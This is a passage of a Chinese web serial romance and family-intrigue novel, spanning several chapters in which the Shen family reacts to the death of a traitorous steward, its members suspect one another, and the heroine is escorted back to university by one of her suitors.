老爷子的话在沈家有绝对的公正性,闻言众人这才变了脸。 沈让拍着大腿,冷声怒斥,“吃里扒外的狗东西,沈家待他不薄,他竟能做出这种事?沈执了?他在哪?让他出来说个清楚!” 沈澈点头附和,“若真是沈执泄露了公堂对簿的机密,这件事只怕还有其他人牵扯,必须彻查清楚以绝后患。” 沈娇垂眸,默不作声端起眼前的花茶。 沈兰晞原本还有些昏沉,听闻这样的消息,酒一下就醒了,眉眼冷峻,“爷爷,沈执人呢?” 沈谦,“他死了。” 死了?! 所有人的表情几乎都是一惊未平一惊又起。 沈清予皱眉,“怎么死的?” 沈谦心中早有计较,顺势将沈执密谋谋害姜花衫的事说了一遍。 “姚淄磊误入秋园撞见了沈执密谋,也一并被他绑了起来。我早此前暗中调查时就已经怀疑沈执,今日见他行为奇怪特意派人盯着他,正好看见他欲杀害姚淄磊,一番械斗,沈执被误杀当场毙命。” 听闻沈执下手的目光还是姜花衫,沈清予几个纷纷变了脸,唯有沈兰晞微微皱眉,神色不定打量沈执。 这话不对,里面有明显的漏洞。 很快,沈家其他人也反应过来,沈清予一脸怀疑看向沈谦,“此前在牡丹园,分明是爷爷先离的席,如果真像大伯你说的这样,怎么你和姚家伯伯会一起离席?” 沈庄抬手端起茶盏,轻抿一口顺势接话,“老大偷偷下的手,人死了不敢告诉我,是郑松发现情况不对我才知道是怎么个事,老大和姚礼离席是我的意思,这件事无须质疑。” 沈谦无意识扬起眉梢,颇有些扬眉吐气的感觉。 这么多年了,老头子什么时候这么偏袒过他,看来老头子也是逐渐发现他的闪光点了。 沈庄在沈家具有绝对公信力,此话一出,没有人再敢质疑沈谦的动机。 除了沈兰晞。 他席间虽然喝了不少酒,原本已经有些昏沉,但沈执谋害姜花衫的事瞬间把他的醉意吓醒了,虽然沈兰晞眼里还有几分迷离,但脑子却无比清醒。 沈谦的话还是有漏洞。 以他的多疑谨慎的性格,在发现沈执叛变后他绝不会轻易射杀沈执,一是怕弄巧成拙自己成为贼喊抓贼的凶手,二是,他绝不会错过这么好的放长点钓大鱼的机会。 但最可疑的还是爷爷刚刚那句话。 沈兰晞抬眸看了沈庄一眼,爷爷为什么会这么信任沈谦? 他思忖片刻,主动问道,“大伯,姚淄磊如何了?” 沈谦,“伤及左肺但好在没有性命之忧,姚礼已经把人带回去了,不过这事不是一句道歉就可以解决的,姚家那边还等着沈家的交代?” “交代?”傅绥尔下意识开口,见众人看过来,硬着头皮反问,“沈执死了难道不是交代吗?” 沈谦愣了愣,从前家族会议别说女孩儿发言了,就算入席的资格都没有,他默默看了沈庄一眼,见老爷子并未阻止,正犹豫着怎么接话,沈眠枝小声应道,“大伯的意思应该是沈执背后还有人吧?只有把背后之人揪出来才算真正有交代。” “……”沈谦又看了沈庄一眼,见他依旧毫无反应,便点了点头,整理措辞,“没错。今天把大家叫来就是想告诉诸位,现已查明咱们沈家里面出了个叛徒。” “这个叛徒不仅把手伸到到了老爷子面前,还企图宰杀沈家小辈,沈家族训,尖刀不可对内,此人所谋已经不配为沈家人。” “我奉劝那人一句,既然已经露了狐狸尾巴,还是乖乖认罪,否则等我查到了他头上,沈家的族规可不会轻饶他。” 闻言,众人纷纷变了脸色,相互打量对方。 沈澈皱眉,颇有些不认可,“大哥,都是自家人,没证据的话可不能乱说。”说罢又转头看向沈庄,“爸,您说句话啊。” 沈庄拄着拐杖起身,“老大的意思就是我的意思,今天我就把话撂在这,我不管你是谁,竟然动了我的孩子沈家以后就没有你的容身之地了,好好藏着,不然被抓出来就可没命了。” …… 第529章 柳暗花明莫然 “老爷子真这么说?”姜花衫斜躺在沙发里,略有惊讶看着傅绥尔。 “嗯,你是不知道,在场叔伯们脸色难看至极。”傅绥尔心有余悸摸了摸心口,“没想到这个沈家叛徒竟然是沈执,藏得够深的,幸好发现的及时,万一他真对你下手真是防不胜防。” 姜花衫摇头,“那倒未必。” 早在张茹被赶出沈园时她就已经怀疑沈执了,沈执要真对她下手,鹿死谁手还真不一定。 傅绥尔这才反应姜花衫的反应有些违和,一脸错愣,“你早就知道沈执有问题?” “不算很早,但之前一直都是怀疑,没有实质证据所以才没有和你说。”她说的风轻云淡,好像真就是这么回事。 傅绥尔皱眉,上下审视,“我怎么那么不信你?” “……” 说话的功夫,楼下传来一阵嘈杂声。 姜花衫和傅绥尔对视了一眼,从沙发上跳下,趿拉着乌龟拖鞋跑出了房间。 傅绥尔见状,立马跟了上去,两人肩并肩倚靠着木栏杆察看情况。 院里乌泱泱一群人,沈兰晞坐在廊下,郑松带着保镖把四个管事阿姨都围了起来。 姜花衫见情况不妙,转身踢踏踢踏下楼。 “沈兰晞,你们干什么?!” 沈兰晞刚抬眸,头顶压下一道黑影,姜花衫语气不善,“你带这么多人来我院子抓人算怎么回事?” 翻脸比翻书还快,上一秒还兰晞哥兰晞哥的叫,这一秒简直把他当成路边的恶犬招呼。 “……” 不知是酒精发挥了作用还是被气的,沈兰晞感觉自己有些上头,眼眉不觉冷了下来,“这是爷爷的意思。” “爷爷?”姜花衫皱眉,转头看向郑松求证。 郑松点头,“沈执叛变,老爷子下令沈园内外所有人必须重新筛查一遍,还请姜小姐配合。” “这……” 姜花衫一时有些无语,她特意留着这几个阿姨就是在钓鱼,要真让他们把人带走了,她的鱼饵岂不是没有了? 正犹豫要不要撒泼,傅绥尔搂住她的肩膀小声道,“省省力气吧,就算她们是鱼饵,爷爷也不会同意让你乱来,兰晞哥都亲自来了,说明爷爷的态度很坚决。” 姜花衫想了想,回身看向廊下,“行吧,反正我明天就要返校了。” 沈兰晞站起身,侧眸看了郑松一眼,郑松立马指挥保镖把四个管事阿姨请出了菊园。 阿姨们从来没有见过这种阵仗,吓得两股颤栗脸色发青。 傅绥尔突然眼睛一亮,“要不,今晚你跟我去冬园睡吧?你这一去南湾我们好长时间又见不上面了,今晚好好聊聊?” 姜花衫心知傅绥尔是想和她商议沈家叛徒事,出了这么大的事她正好也睡不着,便一口应下。 沈兰晞立在原地,不着痕迹打量着姜花衫,直到郑松出了菊园还犹未可知。 “咳咳……”高止轻咳了一声。 菜鸡!光看有什么用?肉又不会自己跑进碗里,你得先学会伸手啊。 沈兰掩下重睫,恰巧姜花衫察觉什么,抬眸看过来的瞬间,沈兰晞正好转身…… “嘶~”傅绥尔摸了摸下巴,“怎么感觉兰晞哥好像心情不好,你得罪他了?” 姜花衫皱眉,“谁得罪他了?这冰渣子不是每天都板着个脸吗?” 傅绥尔摇头,“平时是冷贵疏离,但这次感觉有些不一样。” “是吗?”姜花衫盯着那道冰冷决绝的背影琢磨了一眼,两手一摊,“没看出来。” * 宝宝们,今天好多事,欠下的字数我明天补齐。 第530章 钓鱼得有鱼饵 如果说之前沈归灵猜出姚歌,莫然只是觉得他聪明的话,那么眼下他能猜中沈澈,莫然只觉得恐怖至极。 “少爷,您是怎么知道的?” 沈归灵,“你的资料中有一笔账是沈澈转给姚歌楼市大卖的红利,三个亿。但据我所知,两年前政府实行“花海计划”联合各地民营企业创立了政商廉租房,那一年的地产生意极其低迷,沈澈上交给沈家的公账,所有产业都是盈利唯有地产处于亏损,他哪来的三个亿做分红?” 不是地产分红必然是别的生意,但什么生意百分之十的股份不到一个季度就有三个亿的暴利? 答案不言而喻。 莫然惊叹,甚至隐隐对沈归灵的脑子产生膜拜之情,“的确如此,夫人从两年前就一直暗暗和沈四先生合作,这些事发生在我被召回之后,所以他们之间的交易我并不清楚,我也是费了一段时间好不容易查出了这些线索。” “从这么巨大的营业额来看,他们涉及的交易层面之广不敢相信,我怕露出马脚,之后的事就没敢往下查了。” 沈归灵点头,这正是他看中莫然的原因,不贪功不冒进,知道审时度势即时收手,若她当时继续追查,查地太深一定会引起对方的注意,此刻未必还有命站在他面前。 “只是有一点我没有想明白。”莫然面带思索,“夫人虽说被软禁,害得手里的产业也被封禁了一半,但那些剩余的也足够她衣食无忧过完下辈子,她为什么还要铤而走险和沈四先生合作?难道夫人还有什么谋划。” 沈归灵不甚在意,薄唇一张一合吐出两个字,“沈年。” 自从沈年被赶出沈家后,姚歌为了让他在S国过的舒心,每年都会额外给他汇入一笔天价生活费。 自从两年前姚歌被软禁后,她的财政就出现了问题,沈年早已被养成了骄奢成性的吸血包,姚歌现有的资产根本不足以支撑沈年挥霍无度。 以姚歌的性格,为了供上沈年这个吸血魔,别说是贩毒,就算是杀人她也一定毫不犹豫。 莫然眼睛一亮,犹如醍醐灌顶,点头应道,“没错!是大少爷。” 之前作为姚歌心腹她曾给沈年汇过款,所以大概清楚姚歌每年汇给沈年的预算比例,依照姚歌现有的资产,若是没有其他进账,根本不足以维持沈年的花销。 “你说……”沈归灵若有所思,“到底要过什么样的富贵生活,一年十几个亿都不够?” 三个亿就可以造一艘护航舰,从莫然的资料分析,这些年姚歌林林总总转给沈年的钱都勉强可以造航母了。 莫然一时没有方向,不解看着沈归灵,“年少爷挥霍无度是所有人都知道的,或许对别人而言几个亿是天价,但对自小含着金汤钥匙的年少爷来说,也不过是一辆车、一栋房子、或者一次消遣?” 沈归灵摇头,“买车、买房、吃穿用度不可能年年都有几个亿的缺口,这个世上能把钱迅速败光的无非那几样,赌博、DP、投资。” 莫然细细琢磨了一番,脸色凝重,“您怀疑阿年少爷?” 沈归灵,“沈年不用怀疑,他一定有问题。” 他现在担心的是另一个问题。 沈执的目标是姜花衫,说明他背后的人想对姜花衫下手。 菊园的管事暗中与姚歌经营的DP链有关,极有可能是有人利用药物在控制沈园的人为其效力。 沈执掌管沈园一切人事调度,就算张茹的哥哥进赌坊都逃不过他的眼睛,又怎么可能不知道姜花衫身边有个瘾君子呢? 知道却还纵容,要么就是与人同气连枝,要么这个人就是他安插的。 XD的管事、FD的姚歌、纵容的沈执、还有一个在背后搞鬼的操控者。 这个人是谁不就出来了吗? 沈归灵转眸看向眼前生机盎然的龟背叶,眼瞳泛过幽光,“莫然,想办法让我父亲查出姚歌的账本,我要你抓住机会…送沈澈上路。” 第531章 恋爱教学 情绪价值? 这个词对沈兰晞来说实在是太小众了,他一直接受的是权谋教育,所以比起情绪价值,他更看重利用价值。 但他和姜花衫之间显然不能用利益来分类。 沈兰晞收敛神色,撩眸看了高止一眼,“继续说。” 这是开窍了? 高止顿时来了精神,冷静分析,“少爷,恕我直言,说到情绪价值,整个沈园你是最薄弱的,你整个人就像个无趣的默片,所以针对这一点,你必须勤加练习,这样才有可能赢过外面的妖艳贱货。” 什么乱七八糟的比喻。 沈兰晞眉头微蹙,要不是在姜花衫那屡屡碰壁,他实在是不想听高止大放厥词,毕竟这家伙的恋爱战绩唯一可查就是帮清虚观的猴王挽回了移情别恋的妻子。 高止见沈兰晞听得认真,立马摆出一副教学姿态,“所以!从现在起,少爷你要学会赞美,赞美会吧?就是夸人,不管姜小姐做什么都往死里夸,其次!你得有这个。” 高止伸手,比划出撒鱼饵的动作,“准备鱼饵,投其所好,比如姜小姐若是跟叛徒之间有纠葛,你别上前就指责她不顾危险,虽然是关心但这种关心以姜小姐的性子未必喜欢。” “你得顺毛摸,你可以拿叛徒钓姜小姐啊,她肯定好奇是谁想谋害她,到时候她还不被你牵着鼻子走?” “最重要的是,少爷你解决叛徒的时候不要悄无声息,你得留下痕迹让姜小姐知道只有少爷你才是真心对她好的,这样姜小姐才会和你亲近。” 沈兰晞自始至终都神色淡淡,也不知听进去了多少。 高止立马严肃脸,对着他比划了一个X,“少爷你现在这反应就不对,刚刚才说的情绪价值你忘了?” 沈兰晞,“你想要什么情绪价值?” 高止戳戳手,“少爷,我很久没有涨工资了。” 沈兰晞,“把我历年来生日、节庆别人送的礼都补回来,我给你涨十倍。” 高止,“……” 沈扒皮,抠搜鬼,难怪姜小姐不喜欢你,现在连我都快坚持不下去了。 * 梅园。 沈清予靠在主厅的沙发上,表情严肃翻看着手机。 对面的沈渊略有些局促看了一眼门口的顾赫,强压着怒火,咬牙切齿,“你都已经看了半个小时了,看清楚没有?” 沈清予抬眸撩了他一眼,晃了晃手机,“这里面还有没有别的系统?” 沈渊气得太阳穴突突,“沈清予!我是你老子!你把我扣在这审问了五个小时,该说的我都已经说了,你现在连我的手机都不放过,你到底想干什么?” 沈清予笑了笑,把手机扔给顾赫,“找人查查里面有没有什么猫腻?” 顾赫接过手机,飞快瞥了沈渊一眼,在被殃及之前赶紧跑了出去。 “你这个逆子!” 沈渊气得差点原地去世。 家族会议结束之后,沈清予特意请他来梅园议事,还以为是这小子开窍了,终于知道和谁是一条心了。没想到他一进园,这小子凶相毕露,不仅没收了他的手机还把他扣了起来。 最可气的事,就因为他不配合,沈青予竟然虐待他不给他饭吃。 简直倒反天罡!到底他们俩谁才是老子? 沈渊闭了闭眼,捂着咕咕作响的肚子,有气无力,“沈清予,赶紧让人给我煮碗面条。” 沈清予翘着二郎腿,“养生书上写了,老年人晚饭不宜多吃容易消化不良,我这也是为了你好。” 老年人? 沈渊额角抽动,沈家几个兄弟里就属他保养的最好,金丝眼眶妥妥的叔圈天菜,老这个字跟他沾不了半点关系。 “行!”沈渊受不了这窝囊气,起身准备走。 沈清予抬腿踹着茶几把人拦住,“话没说完,去哪去?” “……”沈渊取下眼镜,抽出胸前的丝巾细细擦拭镜片,“我已经跟你说的很清楚了,沈执背后的事跟我没关系,这次要杀姜花衫的也不是我。” 沈清予坐在沙发上仰头打量沈渊,他已经和沈渊对峙了一个下午,此刻其实他心中已经有了答案,之所以还不放沈渊走,一是想看看能不能从他嘴里套出点有用的信息,二是单纯看沈渊不爽想报当初一枪之仇。 “怎么招?话已经说的很明白了,你难不成还要逼死我?”沈渊一见沈清予这德行就来火,为了一个女人,他竟然扣押虐待自己的父亲,简直是逆子中的败类。 沈清予将双脚架在茶几上,眉眼不羁带着几分恣意,“沈渊,你还记得那天我给你的警告吧?” 沈渊顿时沉下脸,“你不用时时提醒我,你为了一个女人要死要活。” 沈清予扯着嘴角,皮笑肉不笑,“我是在提醒你,为了你死后有儿子送终,最好别在我的雷区蹦跶。” 沈渊,“……” “少爷。”适时顾赫推门而入,小心看了沈渊一眼,谨小慎微递上手机,“已经让人查过了,里面没有暗藏资料。” 沈渊咬牙,“听见了?” 沈清予抬脚,丝毫没有愧疚之情,“不送。” 沈渊闭了闭眼,重新戴上眼镜,故作从容推门而出,出了这个门,谁都别想看出他在梅园经历过什么。 沈清予看着沈渊的背影,神色格外冷凝。 爷爷不会无缘无故偏袒沈谦,说明沈谦一定和沈执没有关系,沈渊由着他审判,无非就是想告诉他,秋园的事和二房没有关系。 和二房无关那就只剩三房了。 顾赫小心翼翼打量沈清予,见他脸色依旧臭得要命,大气都不敢出,蹲下身默默扶正被踢歪的茶几。 沈清予斜睨打量蹲在脚边的男人,连沈执都可能背叛爷爷,身边还有什么人是值得相信的? 他想了想,故意又踹了一脚茶几,“今天午间你在哪?在做什么?” 顾赫脸色大变,赶紧把茶几推歪,“少爷,我……我什么都没干,就在院子里遛弯啊!您该不会是怀疑我吧?天地良心啊,我对少爷忠心耿耿,姜小姐发现你的小人书时,为了不连累少爷,是我一并抗下了所以的伤害,您难道忘记了?” “……”沈清予愣了愣,咬着后牙槽,“什么时候的事?我怎么不知道。” 顾赫眼神飘忽,“就……就上次我看天气好,想着把书房里的珍本拿出来晒晒,恰巧姜小姐来梅园找您,一不小心就看……看见了……” 沈清予顿时被气笑了,几本黄色废料有什么好晒的?难怪有段时间他总觉得小花儿看他的眼神怪怪的,还有些避之不及。 “顾赫。”沈清予闭眼,语调格外平静,“想好怎么死了吗?” 顾赫,“……” …… 第532章 暗线浮出水面 两个小时后,顾赫拎着大包小包出现在顾公馆。 顾管家看了一眼,二话没说将他请进了顾家老太太的房间。 顾老太太正坐在沙发上看相册,抬眸瞟了一眼,淡然自若,“又被清予赶出来了?” 顾赫点头,“是。” “他啊,什么都好,就是沉不住气。”顾老太太合上相册,“说吧,今天沈家后院到底发生了什么事?” 今日离席的宾客没有人不好奇沈庄到底隐瞒了什么,但沈家的消息哪是这么好传出来的,顾赫索性激怒沈清予,借着被打发的由头出来传递传递消息。 他先是交代了沈执叛变的内幕,然后又讲述了沈清予把沈渊叫去梅园审问的经过。 “现如今整个沈园风声鹤唳,内院管事、阿姨、园丁、厨娘、司机、保镖所有人都要重新被调查。少爷和沈先生僵持了许久,实在没查出什么最后饿了一顿就把人给放走了。” 顾老太太静静听着,不置一词,待顾赫说完摆摆手,“以清予的性子,你一时半会儿是回不去了,暂且先在顾公馆住着吧。” 顾赫点头,起身走到门口,神色略有犹豫回头看向老太太,“老夫人,这是第二次了。” 他受顾家恩惠长大,十五岁便被顾家安排近身照顾沈清予,那时沈清予才五岁,他亲眼看着热烈如朝阳的小少爷变成了放荡恣睢的少年,在他眼里沈清予是主也是他看着长大的弟弟。 老太太将他送到沈清予身边时,曾要求他时时传递沈清予的消息,一边是恩人一边是少主,顾赫难以取舍,最终答应顾老太太只会为顾家传递三次消息。老太太见他如此重情重义,破格应允。 而第一次传递情报,就是沈清予春心萌动。 这在顾老太太这是很重要的预警,所以她当即去了西湾,亲自替沈清予挑选适合的婚嫁对象,千挑万选才定下了西湾蓝家。 顾老太太点头,“时候不早了,先回去休息吧。” 顾赫见老太太应下,这才心安退出了房间。 房门掩上,老太太再次打开手里的相册,眼角湿润,粗粝的手势颤巍巍抚摸着泛黄的照片。 “出来吧。” 老太太的声音沉稳有力,丝毫感觉不出任何情绪。 片刻,隔壁书房传来声响,顾玉珠诚惶诚恐从门口走了出来。 “奶奶。” 顾老太太再次合上相册,神色冷凝打量顾玉珠,“我让你找准机会向姜花衫坦白周家与避暑山庄杀手有牵扯,你到底有没有照做?” 顾玉珠被老太太的眼神吓得打了个冷颤,带着哭音解释,“我照做了。我还特意按照您的吩咐故意引起周宴会的注意,以周宴珩的机警,他一定知道我跟姜花衫透露了什么?” 见老太太没有接话,顾玉珠小心翼翼上前拉着老人的胳膊,“奶奶,周宴珩要是知道我出卖他一定会报复我的,我……” “怕什么?你是我顾家小姐,周宴珩不过是个乳臭未干的毛头小子还能翻天?要不是我察觉出你最近行为蹊跷派人暗中追查,你是不是这一辈子就要当周家小子的提线木偶了?真是,同样都是名利场里打滚,你和阿彦怎么处处不如别人。” 顾玉珠低着头不敢回嘴,她自懂事起就知道,奶奶最喜欢的是沈家的表哥,她和顾彦两个亲孙子都得靠边站,在奶奶眼里,不管他们做什么就是样样都不如沈清予。 “行了,把眼泪擦干净,周家那边我自会替你解决,你先回去吧。”顾老太太吴霞应付小女生的心情,摆摆手送客。 得了老太太这句话,顾玉珠总算安了心,乖乖退出了房间。 老太太轻叹一声,“孽债啊~” 就在这时,旁边的手机屏幕亮了一下。 老太太随意看了一眼,神色又冷了几分。 -【你是不是应该解释一下,为什么死的是沈执?】 第533章 三选一,你选谁 翌日。 姜花衫简单收拾了行李准备返校,不是她说,自从步入大学之后她的求学之路异常坎坷,寒假都快开始了才上了一个月的课。 去沁园告别时,花厅里乌泱泱坐着一群人,适逢多事之秋,沈庄不放心姜花衫一个人正在同大家商议这次由谁护送,见她来了连忙招人。 “小花儿来的正好,你三个哥哥都说愿意陪你去南湾,你乐意选谁啊?” 说者无心,听者有意,三人原本都端坐着,听说让姜花衫选,不约而同偏头看转了过去,灼热的目光仿佛带有实质穿透力,姜花衫原本笑吟吟,忽然感觉背后吹来一阵凉风没忍住打了个寒颤。 “这是怎么了?昨天晚上和绥尔抢被子了?” 沈娇一早起来就在张罗姜花衫去南湾的事,有人在她眼皮子底下都敢打姜花衫的主意,若不亲力亲为她根本不放心,原本她都已经安排好了,老爷子又把沈兰晞几人叫来花厅,沈娇想着多一层保护也好,也就没有再说什么。 姜花衫呵呵笑了两声,直接忽视三道灼热的视线,“什么我选谁啊,这不是谁有空就让谁去吗?” 沈庄想想也是,转头看向三人,“小花儿一个人在那我不放心,不如你们谁跟去陪读半个月看看情况?谁有空啊?” 不是送,是陪读,那岂不是还要住在一个屋檐? 姜花衫顿时头大,“爷爷,那倒不……” 沈兰晞,“我这个学期的学分已经修满了,之前参加任务没有休息过,向学校申请一个月没有问题。” “兰晞不错,开始有哥哥的样子了。”老爷子欣慰点了点头,果然情分都是处出来的,兰晞这坨冰块也终于开窍了。 沈归灵适时开口,“爷爷,父亲为我谋划了南湾海军舰入伍之事,我已经向学校递交了申请获得批示,要不然还是我去吧,兰晞哥两头跑不方便,我正好可以提前去南湾熟悉环境。” 沈庄原本已经打算应口了,听了沈归灵的话一时有些为难,兰晞好不容易有了手足之爱,但阿灵似乎更适合,这让人如何取舍? 沈兰晞撩眸,不动声色看了沈归灵一眼,沈归灵眉眼温和一派岁月静好的模样。 沈清予斜眼打量沈兰晞,狗东西,还真是毫不遮掩,竟然还想跟小花儿过二人世界,他偏不让这狗东西如愿。 “爷爷。”懒洋洋举手,“要不还是我去吧?沈园这会子也不太平,兰晞哥还是留在您身边有比较好,至于阿灵哥,入海军舰之前应该还有很多事情要准备,万一分心小花儿出事怎么办?” 说罢,一脸挑衅看向沈归灵,“毕竟上次也是因为某人的失误才害得小花儿受了苦,是不是啊?阿灵哥?” 沈归灵嘴角的笑容慢慢收敛。 这三个人怎么回事?怎么阴阳怪气的? 姜花衫默默看向沈庄,不关我的事啊,他们三个天生磁场不合那我做筏子干仗呢~ 一个个的都这么积极,沈庄欣慰的同时又有些为难,只能把问题抛给沈娇,“幺儿,你说呢?” 姜花衫立马转头朝沈娇使眼色,一个个的都是搅屎棍,让他们都别来。 沈娇给了她一个稍安勿躁的眼神,目光在三人之间逡巡了一圈,“要不还是阿灵吧,清予说的对,您身边不能没有人,让兰晞守着您。此前阿灵在南湾待过一段时间,对南湾比他们更熟,照顾起来也方便些。” 说罢,挑眉看了姜花衫一眼,你就说,妈妈好不好? 姜花衫,“……” 沈归灵将两人的互动看在眼里,眼里的笑意深了几分。 有沈娇的助攻,沈庄当即拍板,“那就这么决定了,阿灵你陪着衫衫,记住!在外面不能什么事都由着她,该管的一定要管,尤其不准她胡来。”说罢,又转头看向姜花衫,表情严肃,“你还小,去了学校就好好学习,要让我知道你在外面‘惹是生非’,爷爷就给你换回鲸港读书。” 姜花衫看了沈归灵一眼,露出一个尴尬而不失礼貌的微笑,“知道了。” 沈兰晞和沈清予的脸色一个比一个臭,沈庄见状,不由好笑,“怎么?都想去南湾,都不愿意在沈园陪我这个老头子?” 两人这才缓和的表情,沈兰晞想着高止的恋爱教学,犹豫片刻看向姜花衫,“在外面注意安全,记得给家里报平安。” 姜花衫一副见鬼的模样,惊恐万分点了点头。 沈娇看了看时间,“好了,时间差不多了,准备出发了,阿灵要不你先收拾,我带衫衫先过去?” 沈归灵点头。 为了不耽误时间,沈兰晞和沈清予继续留在花厅陪沈庄说话,沈娇领着另外两人出了庭院。 莫然和雷行两人守在沁园门外,听说沈归灵要跟着姜花衫去南湾陪读,两人都很诧异。 雷行唯恐掉队,立马挺身而出,“少爷,我这就去给你收拾行李。” 昨晚之后,他把自己关在房间想了很久,被少爷抛弃的管事就没有任何存在的价值,少爷显然是对他之前的做法失望透顶,他必须要做出改变才能重新赢得少爷的心。 雷行说完就准备跑回竹园准备,哼!少爷的衣食住行一直都是他在打理,只要他抛下道德底线,这个二五仔就不足为虑。 莫然,“少爷,南湾什么都有,您先跟姜小姐上车,其他的我会安排好。” 雷行顿时停下脚步,十分僵硬扭动脖子看向莫然。 还可以这样? 沈归灵对莫然的安排很满意,笑了笑,“这次南湾之行就麻烦莫助理了。” 莫然十分恭谦点了点头,“哪里的话,能为少爷分忧是我的荣幸。” 沈归灵看了雷行一眼,没有半句交待,转身往外院走去。 莫然回头,依旧是八面玲珑的架势,“雷管家别见怪,心腹之争向来如此。” “……” 少爷决绝的背影,二五仔张狂的挑衅,雷行站在原地,整个好似要碎了一般。 …… 第534章 拥爱入眠 姜花衫默默跟在沈娇身侧,低着头一声不哼。 沈娇斜睨了她一眼,“怎么了?还不好意思了?” 姜花衫抬眸,眼神幽怨,“我像是会不好意思的人吗?” 沈娇想了想,横了她一眼,“我警告你,别以为出了沈园就万事大吉了?南湾到底还是沈谦的地盘,沈归灵现在的势力还压不过他老子,你玩的时候小心点。” “……”她什么时候想玩了,真是十张嘴都解释不清了。 “怎么不说话了?”沈娇担心她多想,小声安抚道,“放心,妈妈也年轻过,知道你们年轻人在想什么,你要你开心,妈妈会支持你的。” 姜花衫笑了笑,这话但凡换个场合说,她都不至于不识好歹。 去往南湾的车队已经提前准备妥当,沈娇正要上车,沈归灵从身后抵住车门,表情无害,“小姑,南湾的事莫助理已经安排好了,我还是先 先跟衫衫一块儿过去,省的小姑姑您辛苦多跑一趟。” 送个人有什么辛苦的?沈娇撩眸打量沈归灵。 全鲸港的贵太太都夸沈归灵长的好看,尤其在他拿下南湾海舰的军功之后,沈娇每每出去应酬都会有人拐着弯的向她打听沈归灵的事情,从很早开始,沈娇就已经领教到了沈谦这个儿子的不凡魅力,尤其最近还听说,余家总统千金似乎看上了沈归灵,几次示好都没有拿下高岭之花。 这世上不光长得好看的女人危险,长的好看的男人同样危险,沈归灵的上升一直险象环生,鲸港富太太因此认定他野心勃勃待价而沽,总统千金都看不上一定是想钓一条更大的鱼。 殊不知,太太们都看走了,她们以为的野心家现在被她女儿迷得晕头转向连亲爹都坑,这么看来,还是她女儿厉害一点。 沈娇往车里看了一眼,心领神会,“行了,好好照顾衫衫。” 沈归灵十分乖训应道,“姑姑放心。” 沈娇弯下腰,朝车里摆摆手,“我忽然想起来还有很重要的事情要处理,既然阿灵有陪你,我就不过去了,到了南湾给我打个电话。” “……” 姜花衫正在车里给好友们回消息,闻言无了个大语,还没反应过来,沈归灵拉开车门直接坐上了车。 没一会儿,司机主动让位,莫然绑着马尾辫坐上了驾驶座。 未免姜花衫觉得突兀,她笑得亲切,“姜小姐,好久不见,少爷想着我也是女生,照顾姜小姐可能会方便一点,所以这次的南湾行程就由我全权负责,姜小姐有什么需求尽管吩咐。” 姜花衫看了沈归灵一眼,笑了笑,“莫助理,你不用客气,像平时一样相处就好了。” 莫然加深笑容, “知道了。” * 车辆平缓在高速上疾驰,不得不说,莫然的车技比雷行不知要好上多少倍,一路都没有出现过突发状况的极速拐弯。 姜花衫看着车窗外疾驰而去的风景,眼眸渐渐无声。昨晚她和傅绥尔抓了一晚上的凶手,这会儿已经犯困了。 懒懒打了个哈欠,姜花衫拿出门侧的薄毯盖上,薄薄的眼皮刚合上,莫然突然一个极速右转。 沈归灵正低头看手机,感受到离心力在飞速运转,他眼皮都没抬,在姜花衫的头落在肩上的瞬间用手捧住了她的侧脸,整个过程十分自然。 莫然见状,立马慢踩刹车回正方向盘。 身后随行的车辆根本不知道发生了什么,只知道前行车外突然歪了一下又回到了轨道。 车里的氛围缱绻安静。 姜花衫睡得有些不安分,侧脸往沈归灵的脖子挪了挪,秀立的鼻尖轻轻擦过脖颈的大动脉,微弱湿热的吐息顺着沸腾的血液在全身游走。 沈归灵放下手机,沉默片刻轻轻转动脖子,眼眸流转落在姜花衫的侧脸。 现在的距离,只要他低头就可以亲吻她。 莫然快速扫了一眼后视镜,不动声色按下按钮,前后之间的隔板缓缓上升。 后座空间突然变得狭小。 沈归灵低头,用高挺的鼻尖蹭了蹭姜花衫的鼻子,手掌几乎包裹她整个后脑勺将她搂进怀里。 * 走马上任第一天,莫然下定决心要让老板看见自己的价值,于是原本两个小时的车程,生生被她多磨出了一个半小时。 “少爷,到了。” 莫然停好车,凝神侧听,等了好一会儿也没听见后面有声音,迟疑片刻,她轻轻敲了敲挡板,片刻后才按下按钮。 隔板缓缓下移,引入眼帘的是一对相拥入眠的漂亮男女。 莫然有些诧异,饶是她做足了心理准备,也没想到沈归灵竟然就这样抱着姜花衫睡了三个半小时。 到她这个年纪,爱情、事业都已经磋磨了棱角,她经历过懵懂深情,但现在也默认了食色男女的游戏规则。 以沈归灵现在的能力,哪怕是直接把姜花衫哄上床莫然都能十分理解,毕竟男人和女人大多都是那么回事,但唯独拥爱入眠,让她有些恍然。 这种感觉就像,只知道世界原本枯朽,但还是会为满目疮痍的土地生出一颗幼苗而欣喜,你也知道或许幼苗无法长大,但你却每一次都相信会有奇迹。 因为爱本身就是奇迹。 沈归灵眼睑动了动,抬眸的瞬间眸底有些许朦胧,但很快又恢复如初。 莫然指了指车外,小声道,“少爷,我们到了。” 沈归灵垂眸动了动肩膀,酸胀的感觉瞬间从肩膀蔓延到全身,他低头轻轻拍了拍姜花衫的肩膀。 姜花衫皱眉,一巴掌拍下他的手。 沈归灵看着被打肿的手背,沉默片刻,低下头,“再装睡我就亲你了。” 话音一落,姜花衫立马从座位上弹了起来,神色不定看向莫然。 睡着这么久,莫然说话的时候她就醒了,但她和沈归灵睡的这么暧昧,要是醒来怎么解释,原本打算假睡糊弄过去,没想到这狗东西跟她来这招。 莫然完全不跟姜花衫对视,装作什么都不知道转身下车,正当姜花衫琢磨她想做什么时,莫然绕过车头敲响了沈归灵那头的窗户。 沈归灵按下车窗。 莫然露出八面玲珑的职业微笑,“少爷,我们到了。” 姜花衫,“……” …… 第535章 炸裂的礼物 果然心眼子多的人,找的人也全身上下都是心眼,既然大家都不尴尬,那她也没什么好顾虑的了。 姜花衫舒服伸了个懒腰,推门下车。 随行的车辆在地下停车场停了一排,保镖们井然有序运载着大包小包。姜花衫就收拾了一个行李箱,其他的都是沈娇给她准备的。 三个小时前,莫然已经联系了家政公司,等到沈归灵和姜花衫进屋时,房间已经收拾干净,面对海湾码头的整面玻璃窗擦得比镜子还亮,玻璃前摆放着那幅深海月光图。 沈归灵的目光在画作上停留了片刻,什么也没说转头回了自己的房间。 姜花衫也没在意,盘腿坐在客厅上欣赏自己的画作,当初她还指望拿这幅画去参展,但被白密一搅和,展会的时间已经错过了。 